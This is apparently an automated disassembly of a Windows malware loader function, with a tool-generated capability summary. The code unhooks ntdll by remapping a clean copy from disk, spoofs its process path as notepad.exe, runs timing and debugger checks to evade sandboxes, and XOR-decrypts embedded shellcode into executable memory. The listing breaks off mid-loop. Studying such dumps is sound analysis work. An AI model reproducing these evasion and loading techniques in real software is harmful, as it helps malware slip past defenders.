Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x8e0
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x850], xmm6
mov dword [rbp + 0x880], ecx
mov qword [rbp + 0x888], rdx
call fcn.140002e10
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
cmp qword [rbp + 0x848], 0
jne 0x140001533
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x848], rax
cmp qword [rbp + 0x848], 0
je 0x140001b53
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x7b8]
mov r10, qword [rbp + 0x848]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x7b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov qword [rbp + 0x788], rax
mov ecx, 0x968
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov ecx, 0x968
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x968
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x968
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov dword [rbp + 0x840], 0x259
mov dword [rbp + 0x844], 0
jmp 0x14000174f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x780]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x259
jle 0x1400016bc
mov dword [rbp + 0x844], 0
jmp 0x1400017ee
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x770]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x840]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x768]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x840], 1
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x259
jle 0x14000176e
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x83e], 0
jmp 0x140001b3b
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x788]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x83e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b2a
mov dword [rbp + 0x588], 0
mov ecx, 0xe5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov dword [rbp + 0x834], 0
mov dword [rbp + 0x754], 0
mov dword [rbp + 0x838], 0
jmp 0x140001929
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x838]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x758]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x396
jle 0x1400018dd
mov dword [rbp + 0x838], 0
jmp 0x14000196a
mov eax, dword [rbp + 0x838]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x834], eax
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x396
jle 0x140001941
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov ecx, 0x5b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x830], 0
jmp 0x140001a2e
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm1, qword [0x1400065d0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0xb5
jle 0x1400019e0
mov dword [rbp + 0x830], 0
jmp 0x140001a95
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x748]
add rax, rdx
movq xmm1, qword [0x1400065e0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0xb5
jle 0x140001a46
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x798]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x83e]
add eax, 1
mov word [rbp + 0x83e], ax
mov rax, qword [rbp + 0x788]
movzx eax, word [rax + 6]
cmp word [rbp + 0x83e], ax
jb 0x140001848
mov dword [rbp + 0x744], 1
mov ecx, 0xf58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov qword [rbp + 0x828], 2
jmp 0x140001ba2
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x3d5
jbe 0x140001b7b
mov qword [rbp + 0x828], 2
jmp 0x140001c39
mov rax, qword [rbp + 0x828]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001c31
mov rax, qword [rbp + 0x828]
mov qword [rbp + 0x820], rax
jmp 0x140001c1a
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x820], 1
mov rax, qword [rbp + 0x828]
imul rax, qword [rbp + 0x820]
cmp rax, 0x3d5
jbe 0x140001beb
add qword [rbp + 0x828], 1
cmp qword [rbp + 0x828], 0x3d5
jbe 0x140001bbc
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x7c8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x730]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x724], 0x29a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x70c], eax
mov eax, dword [rbp + 0x724]
mov r8, qword [rbp + 0x718]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x710]
call rax
mov dword [rbp + 0x708], eax
mov eax, dword [rbp + 0x708]
sub eax, dword [rbp + 0x70c]
cmp eax, 0x268
jbe 0x140002d43
mov qword [rbp + 0x700], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6f8]
mov r9d, 0x3000
mov r8d, 0x496
mov edx, 0
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002d43
mov dword [rbp + 0x6f4], 0x211
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6f4]
mov r8, qword [rbp + 0x6e8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x1df
jbe 0x140002d43
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov ecx, 0x3d8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x3a6
jbe 0x140002d43
mov qword [rbp + 0x6c0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b8]
mov r9d, 0x3000
mov r8d, 0x34b
mov edx, 0
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140002d43
mov dword [rbp + 0x584], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x584]
mov r8, qword [rbp + 0x6b0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x584]
cmp eax, 1
je 0x140002d43
mov qword [rbp + 0x6a8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1967e80
mov ecx, 0
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x140002d43
mov rax, qword [rbp + 0x6a8]
mov edx, 0x1967e80
mov rcx, rax
call fcn.140004c20
mov rax, qword [rbp + 0x6a8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x69c], 0x32e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x684], eax
mov eax, dword [rbp + 0x69c]
mov r8, qword [rbp + 0x690]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x680], eax
mov eax, dword [rbp + 0x680]
sub eax, dword [rbp + 0x684]
cmp eax, 0x2fc
jbe 0x140002d43
mov ecx, 0x4bf
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x4bf
jne 0x140002d43
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x818], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
je 0x14000225d
mov rax, qword [rbp + 0x678]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x670]
mov r9d, 0x3000
mov r8d, 0x2a7
mov edx, 0
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x140002d43
lea rax, [rbp + 0xf0]
lea rdx, [0x140006138]
mov ecx, 0x91
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov rax, qword [rbp + 0x7c0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7c0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x668]
mov r8d, 0
mov edx, 0x48b
mov ecx, 0x40000
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x660]
mov r8d, 0x48b
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x48b
mov rcx, rax
call r9
mov dword [rbp + 0x814], 0
mov dword [rbp + 0x644], 0
mov ecx, 0x147c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0x147c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0x147c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x810], 0
jmp 0x140002479
mov dword [rbp + 0x80c], 0
jmp 0x140002465
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x810]
cdqe
imul rcx, rax, 0x5c
mov rax, qword [rbp + 0x638]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x810]
cdqe
imul rcx, rax, 0x5c
mov rax, qword [rbp + 0x630]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x16
jle 0x1400023c0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x38
jle 0x1400023b1
mov dword [rbp + 0x810], 0
jmp 0x140002525
mov dword [rbp + 0x80c], 0
jmp 0x140002515
mov eax, dword [rbp + 0x810]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x638]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x810]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x810]
cdqe
imul rdx, rax, 0x5c
mov rax, qword [rbp + 0x628]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x16
jle 0x1400024a1
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x38
jle 0x140002495
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
movabs rax, 0xaef2a313dc779ad4
movabs rdx, 0xc164029be0993b7a
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xb83ac5d3fdf086d9
movabs rdx, 0x8ab31df65c8ac406
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x78cf2df68ad2cb46
movabs rdx, 0xe4d557c1f82de78c
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xe7b7fc2540773ac0
movabs rdx, 0xa29548abd756755
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xb5ef17257f8ddb52
movabs rdx, 0x60b992bf683179c5
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x76c5b16dabc42e27
movabs rdx, 0xc87fdca219f378f2
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x14db6c28ed63f724
movabs rdx, 0x958be3967ed22dd3
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
mov dword [rbp + 0xe0], 0x1e48a1
movabs rax, 0xb689ea47ddbacc38
movabs rdx, 0xf6ab65a1585fb4da
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xf4fba87f3ac48887
movabs rdx, 0x2a274425cd453f5e
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x64112a274425cd45
movabs rdx, 0xa0a520bcc9d33b
mov qword [rbp - 0x26], rax
mov qword [rbp - 0x1e], rdx
mov dword [rbp + 0x800], 0x29e
mov dword [rbp + 0x7fc], 0x29e
jmp 0x1400026ed
mov eax, dword [rbp + 0x800]
cmp eax, dword [rbp + 0x7fc]
jle 0x1400026e6
sub dword [rbp + 0x800], 1
jmp 0x1400026ed
sub dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x800], 0
jg 0x1400026cf
jmp 0x1400028d2
cmp dword [rbp + 0x808], 0x28
jne 0x14000273b
mov eax, dword [rbp + 0x814]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x808]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x814]
cdqe
mov byte [rbp + rax - 0x10], dl
mov dword [rbp + 0x808], 0
jmp 0x1400028cb
mov ecx, 0x5218
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov dword [rbp + 0x7f8], 0
mov dword [rbp + 0x5dc], 1
mov dword [rbp + 0x7f4], 0
jmp 0x1400027f1
mov dword [rbp + 0x7f0], 0
jmp 0x1400027e1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7f4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x5e0]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x49
jle 0x14000277b
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x46
jle 0x14000276f
mov dword [rbp + 0x7f4], 0
jmp 0x14000286e
mov dword [rbp + 0x7f0], 0
jmp 0x14000285e
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x5e0]
add rdx, rax
mov eax, dword [rbp + 0x7f0]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140002857
add dword [rbp + 0x7f8], 1
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x49
jle 0x140002816
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 0x46
jle 0x14000280a
cmp dword [rbp + 0x7f8], 0xa43
je 0x14000288d
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x5e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, dword [rbp + 0x814]
cdqe
movzx edx, byte [rbp + rax + 0x70]
mov eax, dword [rbp + 0x808]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x814]
cdqe
mov byte [rbp + rax - 0x10], dl
add dword [rbp + 0x808], 1
add dword [rbp + 0x814], 1
mov eax, dword [rbp + 0x814]
cmp eax, 0x72
jbe 0x1400026fb
mov dword [rbp + 0x814], 0
jmp 0x140002b21
cmp dword [rbp + 0x804], 0x72
jne 0x140002aa8
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x804]
cdqe
movzx ecx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x814]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0x2da0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x5ec], 1
mov dword [rbp + 0x7e8], 0
jmp 0x1400029f1
mov dword [rbp + 0x7e4], 0
jmp 0x1400029e1
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x7e8]
